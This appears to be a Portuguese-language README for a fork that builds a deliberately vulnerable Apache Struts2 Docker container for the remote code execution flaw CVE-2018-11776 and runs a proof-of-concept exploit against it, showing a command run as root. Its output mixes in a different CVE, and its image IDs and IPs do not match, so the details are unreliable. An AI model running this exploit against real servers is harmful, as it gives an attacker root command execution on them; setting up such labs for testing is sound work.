
Isto é baseado em https://github.com/hook-s3c/CVE-2018-11776-Python-PoC. A criação do contêiner e as instruções não funcionaram conforme descrito no README, então este fork foi criado. O exploit PoC utilizado é da Rapid7.
Agradecimentos:
hook-s3c (github.com/hook-s3c), @hook_s3c no Twitter
Rapid7 https://github.com/rapid7/metasploit-framework/issues/8064
Man Yue Mo, da Semmle, divulgou uma vulnerabilidade de RCE no Struts2, entregue em um payload codificado no caminho da URL de uma requisição.
As versões afetadas são 2.3 a 2.3.34 e 2.5 a 2.5.16.
A configuração padrão não é vulnerável. Este contêiner, e muitos outros, são vulneráveis.
É preferível construir um contêiner a partir de um Dockerfile quando você pode ver o que está sendo incluído na construção.
git clone https://github.com/freshdemo/ApacheStruts-CVE-2018-11776 ./Struts
cd Struts
docker build . -t freshdemo/apachestruts
Encontre o novo contêiner com
docker images
A saída deve ser semelhante a esta, onde você pode obter o ID da imagem.
root@DockerHost:~/ApacheStruts-CVE-2018-11776# docker images REPOSITORY TAG IMAGE ID CREATED SIZE
freshdemo/apachestruts latest 6586cedf49fa About a minute ago 542MB
Construa e inicie um contêiner com o seguinte.
docker run -d --name apachestruts -p 8080:8080 d39018c50afe
Certifique-se de que os firewalls de entrada/saída permitam a porta especificada anteriormente (8080) e execute o exploit contra o seu alvo com o seguinte.
python struts.py http://192.168.2.188:8080 'id'
Sua saída deve ser semelhante a esta.
root@k:/home/s# python struts.py http://192.168.2.188:8080 'id' [*] CVE: 2017-5638 - Apache Struts2 S2-045 http://13.88.250.188:8080 : [*] cmd: id uid=0(root) gid=0(root) groups=0(root)